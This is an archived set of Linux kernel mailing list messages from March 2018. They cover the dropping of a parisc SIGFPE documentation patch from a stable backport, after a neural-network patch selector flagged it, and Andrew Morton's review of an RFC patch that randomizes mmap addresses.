>> Signed-off-by: Sasha Levin <alexander.levin@microsoft.com>
>> ---
>>  arch/parisc/include/uapi/asm/siginfo.h | 7 +++++++
>>  arch/parisc/kernel/traps.c             | 2 +-
>>  2 files changed, 8 insertions(+), 1 deletion(-)
>>
>> diff --git a/arch/parisc/include/uapi/asm/siginfo.h b/arch/parisc/includ=
e/uapi/asm/siginfo.h
>> index 4a1062e05aaf..be40331f757d 100644
>> --- a/arch/parisc/include/uapi/asm/siginfo.h
>> +++ b/arch/parisc/include/uapi/asm/siginfo.h
>> @@ -8,4 +8,11 @@
>>
>>  #include <asm-generic/siginfo.h>
>>
>> +/*
>> + * SIGFPE si_codes
>> + */
>> +#ifdef __KERNEL__
>> +#define FPE_FIXME	0	/* Broken dup of SI_USER */
>> +#endif /* __KERNEL__ */
>> +
>>  #endif
>> diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
>> index 8453724b8009..c919e6c0a687 100644
>> --- a/arch/parisc/kernel/traps.c
>> +++ b/arch/parisc/kernel/traps.c
>> @@ -629,7 +629,7 @@ void notrace handle_interruption(int code, struct pt=
_regs *regs)
>>  			si.si_signo =3D SIGFPE;
>>  			/* Set to zero, and let the userspace app figure it out from
>>  			   the insn pointed to by si_addr */
>> -			si.si_code =3D 0;
>> +			si.si_code =3D FPE_FIXME;
>>  			si.si_addr =3D (void __user *) regs->iaoq[0];
>>  			force_sig_info(SIGFPE, &si, current);
>>  			return;

--=20

Thanks,
Sasha=


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: ebiederm@xmission.com (Eric W. Biederman)
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a conflict with SI_USER with SIGFPE
Date: Wed, 21 Mar 2018 14:49:25 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <87370txl8a.fsf@xmission.com>
References: <20180319154645.11350-1-alexander.levin@microsoft.com>
        <20180319154645.11350-118-alexander.levin@microsoft.com>
        <87zi327ozu.fsf@xmission.com>
        <20180321181842.rhniantbvz25bu2f@sasha-lappy>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: blaine.gmane.org 1521661720 3872 195.159.176.226 (21 Mar 2018 19:48:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Mar 2018 19:48:40 +0000 (UTC)
User-Agent: Gnus/5.13 (Gnus v5.13) Emacs/25.1 (gnu/linux)
Cc: "linux-kernel\@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable\@vger.kernel.org" <stable@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc\@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Sasha Levin <Alexander.Levin@microsoft.com>
Original-X-From: stable-owner@vger.kernel.org Wed Mar 21 20:48:36 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1eyjit-0006lN-Rf
	for glks-stable4@m.gmane.org; Wed, 21 Mar 2018 20:48:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753173AbeCUTuk (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Wed, 21 Mar 2018 15:50:40 -0400
Original-Received: from out01.mta.xmission.com ([166.70.13.231]:42437 "EHLO
        out01.mta.xmission.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1753119AbeCUTuf (ORCPT
        <rfc822;stable@vger.kernel.org>); Wed, 21 Mar 2018 15:50:35 -0400
Original-Received: from in02.mta.xmission.com ([166.70.13.52])
        by out01.mta.xmission.com with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eyjko-0005BQ-Ro; Wed, 21 Mar 2018 13:50:34 -0600
Original-Received: from 97-119-121-173.omah.qwest.net ([97.119.121.173] helo=x220.xmission.com)
        by in02.mta.xmission.com with esmtpsa (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128)
        (Exim 4.87)
        (envelope-from <ebiederm@xmission.com>)
        id 1eyjkZ-0002gO-F7; Wed, 21 Mar 2018 13:50:34 -0600
In-Reply-To: <20180321181842.rhniantbvz25bu2f@sasha-lappy> (Sasha Levin's
        message of "Wed, 21 Mar 2018 18:18:44 +0000")
X-XM-SPF: eid=1eyjkZ-0002gO-F7;;;mid=<87370txl8a.fsf@xmission.com>;;;hst=in02.mta.xmission.com;;;ip=97.119.121.173;;;frm=ebiederm@xmission.com;;;spf=neutral
X-XM-AID: U2FsdGVkX19bS3Q93MZLJw+d0JrMjp9xACP+F70VROg=
X-SA-Exim-Connect-IP: 97.119.121.173
X-SA-Exim-Mail-From: ebiederm@xmission.com
X-Spam-Report: * -1.0 ALL_TRUSTED Passed through trusted hosts only via SMTP
        *  0.0 TVD_RCVD_IP Message was received from an IP address
        *  0.7 XMSubLong Long Subject
        *  2.5 XMWhlSbjSex Whole Obfuscated Subjects
        *  0.0 T_TM2_M_HEADER_IN_MSG BODY: No description available.
        *  0.8 BAYES_50 BODY: Bayes spam probability is 40 to 60%
        *      [score: 0.4739]
        * -0.0 DCC_CHECK_NEGATIVE Not listed in DCC
        *      [sa07 1397; Body=1 Fuz1=1 Fuz2=1]
        *  0.0 T_TooManySym_02 5+ unique symbols in subject
        *  1.0 XMSubMetaSx_00 1+ Sexy Words
        *  0.0 T_TooManySym_01 4+ unique symbols in subject
X-Spam-DCC: XMission; sa07 1397; Body=1 Fuz1=1 Fuz2=1 
X-Spam-Combo: ****;Sasha Levin <Alexander.Levin@microsoft.com>
X-Spam-Relay-Country: 
X-Spam-Timing: total 15018 ms - load_scoreonly_sql: 0.04 (0.0%),
        signal_user_changed: 2.6 (0.0%), b_tie_ro: 1.78 (0.0%), parse: 0.76 (0.0%),
        extract_message_metadata: 2.6 (0.0%), get_uri_detail_list: 1.11 (0.0%),
        tests_pri_-1000: 4.0 (0.0%), tests_pri_-950: 1.19 (0.0%), tests_pri_-900:
        1.03 (0.0%), tests_pri_-400: 19 (0.1%), check_bayes: 18 (0.1%), b_tokenize: 6
        (0.0%), b_tok_get_all: 6 (0.0%), b_comp_prob: 2.1 (0.0%), b_tok_touch_all:
        2.4 (0.0%), b_finish: 0.61 (0.0%), tests_pri_0: 141 (0.9%),
        check_dkim_signature: 0.69 (0.0%), check_dkim_adsp: 3.6 (0.0%),
        tests_pri_500: 14838 (98.8%), poll_dns_idle: 14831 (98.8%), rewrite_mail:
        0.00 (0.0%)
X-SA-Exim-Version: 4.2.1 (built Thu, 05 May 2016 13:38:54 -0600)
X-SA-Exim-Scanned: Yes (on in02.mta.xmission.com)
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:272194 gmane.linux.kernel:2721844 gmane.linux.ports.parisc:28355
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/272194>

Sasha Levin <Alexander.Levin@microsoft.com> writes:

> Hey Eric,
>
> On Tue, Mar 20, 2018 at 10:20:21AM -0500, Eric W. Biederman wrote:
>>Sasha Levin <Alexander.Levin@microsoft.com> writes:
>>
>>What is the justification for backporting this and the other similar
>>Documentation commits?
>
> It was flagged as a bug fixing patch by a new process we're testing, and
> when I looked at it I thought that the commit message suggests it fixes
> an ABI issue.

Unfortunately they just reveal an ABI issue.  I believe there are some
fixes coming but given that the issues are a decade old in many cases
actually fixing these things must be approach with care so as not to
create regressions.

>>These commits just introduce a define _FIXME with value of 0, to
>>document that the userspace ABI was handled incorrectly long ago.
>>
>>These commits do not fix anything.  Thes commits do not change anything
>>except a little how they are handled in siginfo_layout.  And I don't see
>>the changes that introduce siginfo_layout in kernel/signal.c being
>>backported.
>>
>>Further these commits don't even have a fixes tag so I am curious
>>what is triggering them for backport.
>
> We're testing out a new mechanism where we train a neural network to
> detect bug fixing patches and flag them for manual review. We're working
> on a FAQ + more detailed information right now.

The neural network did seem to pick up on something that is worth
looking at.

Eric


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Sasha Levin <Alexander.Levin@microsoft.com>
Newsgroups: gmane.linux.kernel.stable,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Date: Wed, 21 Mar 2018 19:58:20 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <20180321195818.5uoptnf37mak3iq6@sasha-lappy>
References: <20180319154645.11350-1-alexander.levin@microsoft.com>
 <20180319154645.11350-118-alexander.levin@microsoft.com>
 <87zi327ozu.fsf@xmission.com> <20180321181842.rhniantbvz25bu2f@sasha-lappy>
 <87370txl8a.fsf@xmission.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1521662183 4248 195.159.176.226 (21 Mar 2018 19:56:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 21 Mar 2018 19:56:23 +0000 (UTC)
Cc: "linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
        "stable@vger.kernel.org" <stable@vger.kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        "linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: "Eric W. Biederman" <ebiederm@xmission.com>
Original-X-From: stable-owner@vger.kernel.org Wed Mar 21 20:56:19 2018
Return-path: <stable-owner@vger.kernel.org>
Envelope-to: glks-stable4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <stable-owner@vger.kernel.org>)
	id 1eyjqL-0000z4-Md
	for glks-stable4@m.gmane.org; Wed, 21 Mar 2018 20:56:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753058AbeCUT6Y (ORCPT <rfc822;glks-stable4@m.gmane.org>);
        Wed, 21 Mar 2018 15:58:24 -0400
Original-Received: from mail-sn1nam02on0128.outbound.protection.outlook.com ([104.47.36.128]:53573
        "EHLO NAM02-SN1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1753021AbeCUT6W (ORCPT <rfc822;stable@vger.kernel.org>);
        Wed, 21 Mar 2018 15:58:22 -0400
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=selector1; h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=pOi6G4XGGH9/wifcR0P55bvSoXc2fR/O0mUTyDfluJg=;
 b=k1qpKTp+ZywD3Q7IN7AkYuhpKIipUQVLYOBuQ/slMNuXQHtFQZqJFKYODdsYvNC6bNV18SmPrXL259zvYPPzwN3XueG1frR14LHZr9Qow4NBJ4+gdYZA+wRUaImnI4qfHTPJwj3rXZXZo0N8Xw/SdRYpnh7SHBV62PwbFy2KKb0=
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com (52.132.128.13) by
 DM5PR2101MB0917.namprd21.prod.outlook.com (52.132.132.162) with Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.20.631.0; Wed, 21 Mar 2018 19:58:20 +0000
Original-Received: from DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62]) by DM5PR2101MB1032.namprd21.prod.outlook.com
 ([fe80::3d9b:79e7:94eb:5d62%5]) with mapi id 15.20.0631.004; Wed, 21 Mar 2018
 19:58:20 +0000
Thread-Topic: [PATCH AUTOSEL for 4.15 118/124] signal/parisc: Document a
 conflict with SI_USER with SIGFPE
Thread-Index: AQHTv5nU1jM4TEEmbE2qukzwpEcuiqPZPv1OgAHD5ACAABmwC4AAAiQA
In-Reply-To: <87370txl8a.fsf@xmission.com>
Accept-Language: en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [52.168.54.252]
x-ms-publictraffictype: Email
x-microsoft-exchange-diagnostics: 1;DM5PR2101MB0917;7:/UD0bTLYpUjj7z/BTzPv3evis2PzeFKjDDbp7AW4vmCOdYrmR1VtxiBBpjLY632jv91WKpo3x8cX90WrjU8BoAw4514lXDCvRvGnj78cXCcKLqgVmI3phOumHQYggwTtpr8Nkjz/bqLUwmtDQwBA37TqbtiA+l6Q1Kb5cpMUnvR8G6hPw/ltmBpKKz0cTtyPs/vzU1r2+WR+FftuSzDH0uuko3HRBpnLMlSmiiDs4t88mLU9gAcPt2aT40ReJDfe;20:VQwtM+izKbK2j9CQflYKv7yfN5vLYPxyyEtaWiNtbYKsc0yBQv4SLqVwtEG7TOCnE6CQyjLZH1seUPkz4K/lAHGS+2o0UW+RYKMaVTM/lWfWY9V2v7oe/7a6nX8Re0M6uB0SSZR7/jranX/3aKgJ9unMd29AJWNW+UFLH+uPSKI=
x-ms-exchange-antispam-srfa-diagnostics: SOS;
x-ms-office365-filtering-ht: Tenant
x-ms-office365-filtering-correlation-id: c2f5dffe-07eb-43cf-2935-08d58f6618b6
x-microsoft-antispam: UriScan:;BCL:0;PCL:0;RULEID:(7020095)(4652020)(48565401081)(5600026)(4604075)(3008032)(4534165)(4627221)(201703031133081)(201702281549075)(2017052603328)(7193020);SRVR:DM5PR2101MB0917;
x-ms-traffictypediagnostic: DM5PR2101MB0917:
authentication-results: spf=none (sender IP is )
 smtp.mailfrom=Alexander.Levin@microsoft.com; 
x-microsoft-antispam-prvs: <DM5PR2101MB091702F11FEC6AE8A818C965FBAA0@DM5PR2101MB0917.namprd21.prod.outlook.com>
x-exchange-antispam-report-test: UriScan:(28532068793085)(89211679590171);
x-exchange-antispam-report-cfa-test: BCL:0;PCL:0;RULEID:(8211001083)(61425038)(6040522)(2401047)(5005006)(8121501046)(93006095)(93001095)(10201501046)(3002001)(3231221)(944501316)(52105095)(6055026)(61426038)(61427038)(6041310)(201703131423095)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123562045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:DM5PR2101MB0917;BCL:0;PCL:0;RULEID:;SRVR:DM5PR2101MB0917;
x-forefront-prvs: 0618E4E7E1
x-forefront-antispam-report: SFV:NSPM;SFS:(10019020)(7916004)(39380400002)(366004)(346002)(396003)(39860400002)(376002)(199004)(189003)(478600001)(22452003)(229853002)(316002)(1076002)(72206003)(106356001)(10090500001)(14454004)(2950100002)(5250100002)(6916009)(2906002)(6116002)(3846002)(54906003)(86362001)(10290500003)(93886005)(3280700002)(8936002)(8676002)(2900100001)(3660700001)(33716001)(305945005)(7736002)(53936002)(4326008)(6246003)(6436002)(66066001)(6512007)(9686003)(6486002)(5660300001)(8666007)(97736004)(33896004)(59450400001)(76176011)(86612001)(99286004)(105586002)(81166006)(6506007)(186003)(68736007)(26005)(81156014)(102836004)(25786009)(446003)(217873001);DIR:OUT;SFP:1102;SCL:1;SRVR:DM5PR2101MB0917;H:DM5PR2101MB1032.namprd21.prod.outlook.com;FPR:;SPF:None;LANG:en;PTR:InfoNoR
 ecords;A:1;MX:1;
received-spf: None (protection.outlook.com: microsoft.com does not designate
 permitted sender hosts)
x-microsoft-antispam-message-info: ifoY/LpSZBTn/w5oZJNa5gkBinoRez+4JDO8ylR1rakFd6mhxCLyTAwDCgtU6qJ42fjBVUoTKkzM5DQ8jEp5Z0biQ4y4veNVWOLww0eJ/jnbgTrOdtO9MhK+yiFx/coUHegs076hmzc/9NYg8PfEhc8IzCiT/VU2zk2NJMKa51Ezj6pMFfixf8jui3vzgXqgkECwXrZVt4+RqqiFSCGZ77figs5d4wYbNw7EAB0xnrQY2rawFF8mbk6Wk3TLxchhTxfvvUAReQKrOnt11yI59lA3+qWLc2ZB2rEQlPs8mjJQJe4yCqaixQcZoVzxl/cDgXXBIvqzeGpmTnyRdpX5zw==
spamdiagnosticoutput: 1:99
spamdiagnosticmetadata: NSPM
Content-ID: <A4D1328343F2C5438B8D95E39933A8B7@namprd21.prod.outlook.com>
X-OriginatorOrg: microsoft.com
X-MS-Exchange-CrossTenant-Network-Message-Id: c2f5dffe-07eb-43cf-2935-08d58f6618b6
X-MS-Exchange-CrossTenant-originalarrivaltime: 21 Mar 2018 19:58:20.5569
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 72f988bf-86f1-41af-91ab-2d7cd011db47
X-MS-Exchange-Transport-CrossTenantHeadersStamped: DM5PR2101MB0917
Original-Sender: stable-owner@vger.kernel.org
Precedence: bulk
List-ID: <stable.vger.kernel.org>
X-Mailing-List: stable@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.stable:272195 gmane.linux.kernel:2721848 gmane.linux.ports.parisc:28356
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.stable/272195>

On Wed, Mar 21, 2018 at 02:49:25PM -0500, Eric W. Biederman wrote:
>Sasha Levin <Alexander.Levin@microsoft.com> writes:
>
>> Hey Eric,
>>
>> On Tue, Mar 20, 2018 at 10:20:21AM -0500, Eric W. Biederman wrote:
>>>Sasha Levin <Alexander.Levin@microsoft.com> writes:
>>>
>>>What is the justification for backporting this and the other similar
>>>Documentation commits?
>>
>> It was flagged as a bug fixing patch by a new process we're testing, and
>> when I looked at it I thought that the commit message suggests it fixes
>> an ABI issue.
>
>Unfortunately they just reveal an ABI issue.  I believe there are some
>fixes coming but given that the issues are a decade old in many cases
>actually fixing these things must be approach with care so as not to
>create regressions.

I've removed these commits.

>>>These commits just introduce a define _FIXME with value of 0, to
>>>document that the userspace ABI was handled incorrectly long ago.
>>>
>>>These commits do not fix anything.  Thes commits do not change anything
>>>except a little how they are handled in siginfo_layout.  And I don't see
>>>the changes that introduce siginfo_layout in kernel/signal.c being
>>>backported.
>>>
>>>Further these commits don't even have a fixes tag so I am curious
>>>what is triggering them for backport.
>>
>> We're testing out a new mechanism where we train a neural network to
>> detect bug fixing patches and flag them for manual review. We're working
>> on a FAQ + more detailed information right now.
>
>The neural network did seem to pick up on something that is worth
>looking at.

Indeed, and we use review input to retrain the NN on these commits.
Thank you!

--=20

Thanks,
Sasha=


From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 1/2] Randomization of address chosen by mmap.
Date: Thu, 22 Mar 2018 13:53:14 -0700
Lines: 90
Approved: news@gmane.org
Message-ID: <20180322135314.61efce938293e051e118fa46@linux-foundation.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
        <1521736598-12812-2-git-send-email-blackzert@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521751889 24287 195.159.176.226 (22 Mar 2018 20:51:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2018 20:51:29 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        mhocko@suse.com, hughd@google.com, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, steve.capper@arm.com, punit.agrawal@arm.com,
        paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
        npiggin@gmail.c
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 22 21:51:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ez7B8-00067W-Lv
	for glk-linux-kernel-4@m.gmane.org; Thu, 22 Mar 2018 21:51:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751784AbeCVUxV (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 22 Mar 2018 16:53:21 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:56040 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751291AbeCVUxS (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 22 Mar 2018 16:53:18 -0400
Original-Received: from akpm3.svl.corp.google.com (unknown [104.133.9.71])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id D23E0102D;
        Thu, 22 Mar 2018 20:53:15 +0000 (UTC)
In-Reply-To: <1521736598-12812-2-git-send-email-blackzert@gmail.com>
X-Mailer: Sylpheed 3.6.0 (GTK+ 2.24.31; x86_64-pc-linux-gnu)
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2722732 gmane.linux.ports.alpha:4823 gmane.linux.kernel.arc:3613 gmane.linux.ports.arm.kernel:640304 gmane.linux.ports.ia64:28731 gmane.linux.kernel.metag:1702 gmane.linux.ports.mips.general:64152 gmane.linux.ports.parisc:28357 gmane.linux.ports.ppc64.devel:154910 gmane.linux.ports.sh.devel:56672 gmane.linux.ports.sparc:27455 gmane.linux.kernel.mm:192063
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2722732>

On Thu, 22 Mar 2018 19:36:37 +0300 Ilya Smith <blackzert@gmail.com> wrote:

>  include/linux/mm.h |  16 ++++--
>  mm/mmap.c          | 164 +++++++++++++++++++++++++++++++++++++++++++++++++++++

You'll be wanting to update the documentation. 
Documentation/sysctl/kernel.txt and
Documentation/admin-guide/kernel-parameters.txt.

> ...
>
> @@ -2268,6 +2276,9 @@ extern unsigned long unmapped_area_topdown(struct vm_unmapped_area_info *info);
>  static inline unsigned long
>  vm_unmapped_area(struct vm_unmapped_area_info *info)
>  {
> +	/* How about 32 bit process?? */
> +	if ((current->flags & PF_RANDOMIZE) && randomize_va_space > 3)
> +		return unmapped_area_random(info);

The handling of randomize_va_space is peculiar.  Rather than being a
bitfield which independently selects different modes, it is treated as
a scalar: the larger the value, the more stuff we randomize.

I can see the sense in that (and I wonder what randomize_va_space=5
will do).  But it is...  odd.

Why did you select randomize_va_space=4 for this?  Is there a mode 3
already and we forgot to document it?  Or did you leave a gap for
something?  If the former, please feel free to fix the documentation
(in a separate, preceding patch) while you're in there ;)

>  	if (info->flags & VM_UNMAPPED_AREA_TOPDOWN)
>  		return unmapped_area_topdown(info);
>  	else
> @@ -2529,11 +2540,6 @@ int drop_caches_sysctl_handler(struct ctl_table *, int,
>  void drop_slab(void);
>  void drop_slab_node(int nid);
>  
>
> ...
>
> @@ -1780,6 +1781,169 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
>  	return error;
>  }
>  
> +unsigned long unmapped_area_random(struct vm_unmapped_area_info *info)
> +{

This function is just dead code if CONFIG_MMU=n, yes?  Let's add the
ifdefs to make it go away in that case.

> +	struct mm_struct *mm = current->mm;
> +	struct vm_area_struct *vma = NULL;
> +	struct vm_area_struct *visited_vma = NULL;
> +	unsigned long entropy[2];
> +	unsigned long length, low_limit, high_limit, gap_start, gap_end;
> +	unsigned long addr = 0;
> +
> +	/* get entropy with prng */
> +	prandom_bytes(&entropy, sizeof(entropy));
> +	/* small hack to prevent EPERM result */
> +	info->low_limit = max(info->low_limit, mmap_min_addr);
> +
>
> ...
>
> +found:
> +	/* We found a suitable gap. Clip it with the original high_limit. */
> +	if (gap_end > info->high_limit)
> +		gap_end = info->high_limit;
> +	gap_end -= info->length;
> +	gap_end -= (gap_end - info->align_offset) & info->align_mask;
> +	/* only one suitable page */
> +	if (gap_end ==  gap_start)
> +		return gap_start;
> +	addr = entropy[1] % (min((gap_end - gap_start) >> PAGE_SHIFT,
> +							 0x10000UL));

What does the magic 10000 mean?  Isn't a comment needed explaining this?

> +	addr = gap_end - (addr << PAGE_SHIFT);
> +	addr += (info->align_offset - addr) & info->align_mask;
> +	return addr;
> +}
>
> ...
>




From - Thu Nov 08 21:41:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Andrew Morton <akpm@linux-foundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm
Subject: Re: [RFC PATCH v2 2/2] Architecture defined limit on memory region
 random shift.
Date: Thu, 22 Mar 2018 13:54:48 -0700
Lines: 9
Approved: news@gmane.org
Message-ID: <20180322135448.046ada120ecd1ab3dd8f94aa@linux-foundation.org>
References: <1521736598-12812-1-git-send-email-blackzert@gmail.com>
        <1521736598-12812-3-git-send-email-blackzert@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1521751982 30488 195.159.176.226 (22 Mar 2018 20:53:02 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 22 Mar 2018 20:53:02 +0000 (UTC)
Cc: rth@twiddle.net, ink@jurassic.park.msu.ru, mattst88@gmail.com,
        vgupta@synopsys.com, linux@armlinux.org.uk, tony.luck@intel.com,
        fenghua.yu@intel.com, jhogan@kernel.org, ralf@linux-mips.org,
        jejb@parisc-linux.org, deller@gmx.de, benh@kernel.crashing.org,
        paulus@samba.org, mpe@ellerman.id.au, schwidefsky@de.ibm.com,
        heiko.carstens@de.ibm.com, ysato@users.sourceforge.jp,
        dalias@libc.org, davem@davemloft.net, tglx@linutronix.de,
        mingo@redhat.com, hpa@zytor.com, x86@kernel.org,
        nyc@holomorphy.com, viro@zeniv.linux.org.uk, arnd@arndb.de,
        gregkh@linuxfoundation.org, deepa.kernel@gmail.com,
        mhocko@suse.com, hughd@google.com, kstewart@linuxfoundation.org,
        pombredanne@nexb.com, steve.capper@arm.com, punit.agrawal@arm.com,
        paul.burton@mips.com, aneesh.kumar@linux.vnet.ibm.com,
        npiggin@gmail.c
To: Ilya Smith <blackzert@gmail.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 22 21:52:52 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ez7Cd-0007jK-5L
	for glk-linux-kernel-4@m.gmane.org; Thu, 22 Mar 2018 21:52:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751881AbeCVUyy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 22 Mar 2018 16:54:54 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:56622 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751688AbeCVUyw (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 22 Mar 2018 16:54:52 -0400
Original-Received: from akpm3.svl.corp.google.com (unknown [104.133.9.71])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 518B110F9;
        Thu, 22 Mar 2018 20:54:49 +0000 (UTC)
In-Reply-To: <1521736598-12812-3-git-send-email-blackzert@gmail.com>
